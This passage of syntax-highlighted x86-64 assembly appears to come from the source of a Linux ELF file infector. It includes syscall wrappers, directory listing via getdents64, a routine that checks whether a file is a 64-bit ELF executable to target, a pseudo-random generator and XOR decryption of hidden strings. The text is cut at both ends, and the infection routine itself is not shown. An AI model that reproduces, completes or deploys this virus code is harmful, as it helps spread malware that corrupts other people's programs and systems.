    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_lseek&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sys_access:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_access&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sys_getdents64:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_getdents64&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sys_exit:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_exit&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

&lt;span class="c1"&gt;; validate ELF executable target&lt;/span&gt;
&lt;span class="nl"&gt;is_elf:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;O_RDONLY&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_open&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.not_elf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;elf_header&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_read&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_close&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;
    &lt;span class="nf"&gt;jl&lt;/span&gt; &lt;span class="nv"&gt;.not_elf&lt;/span&gt;

    &lt;span class="c1"&gt;; validate ELF magic&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;elf_header&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;dword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x464C457F&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.not_elf&lt;/span&gt;

    &lt;span class="c1"&gt;; 64-bit only&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.not_elf&lt;/span&gt;

    &lt;span class="c1"&gt;; executable or shared object&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.valid&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.not_elf&lt;/span&gt;

&lt;span class="nl"&gt;.valid:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

&lt;span class="nl"&gt;.not_elf:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; string utilities&lt;/span&gt;

&lt;span class="nl"&gt;basename:&lt;/span&gt;                           &lt;span class="c1"&gt;; extract filename from path&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
&lt;span class="nl"&gt;.find_last_slash:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'/'&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.next_char&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.find_last_slash&lt;/span&gt;
&lt;span class="nl"&gt;.next_char:&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.find_last_slash&lt;/span&gt;
&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;strlen:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
&lt;span class="nl"&gt;.strlen_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.strlen_done&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.strlen_loop&lt;/span&gt;
&lt;span class="nl"&gt;.strlen_done:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;strcpy:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
&lt;span class="nl"&gt;.cp_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.cp_loop&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;strcmp:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
&lt;span class="nl"&gt;.cmp_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.not_equal&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.equal&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cmp_loop&lt;/span&gt;
&lt;span class="nl"&gt;.equal:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;
&lt;span class="nl"&gt;.not_equal:&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;strstr:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.found&lt;/span&gt;

&lt;span class="nl"&gt;.scan:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.not_found&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.check_match&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.scan&lt;/span&gt;

&lt;span class="nl"&gt;.check_match:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;

&lt;span class="nl"&gt;.match_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r11&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.found&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.not_found&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.next_pos&lt;/span&gt;

    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r11&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.match_loop&lt;/span&gt;

&lt;span class="nl"&gt;.next_pos:&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.scan&lt;/span&gt;

&lt;span class="nl"&gt;.found:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.not_found:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; PRNG&lt;/span&gt;
&lt;span class="nl"&gt;get_random:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;si&lt;/span&gt;&lt;span class="nv"&gt;gnme&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
    &lt;span class="nf"&gt;shr&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
    &lt;span class="nf"&gt;shr&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;si&lt;/span&gt;&lt;span class="nv"&gt;gnme&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;get_range:&lt;/span&gt;                          &lt;span class="c1"&gt;; random in range 0-ecx&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;get_random&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;
    &lt;span class="nf"&gt;div&lt;/span&gt; &lt;span class="nb"&gt;ecx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; decrypt string with indexed key&lt;/span&gt;
&lt;span class="nl"&gt;d_strmain:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;xor_keys&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;

    &lt;span class="c1"&gt;; clear dest buffer&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;rep&lt;/span&gt; &lt;span class="nv"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

&lt;span class="nl"&gt;.d_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.d_done&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;

    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
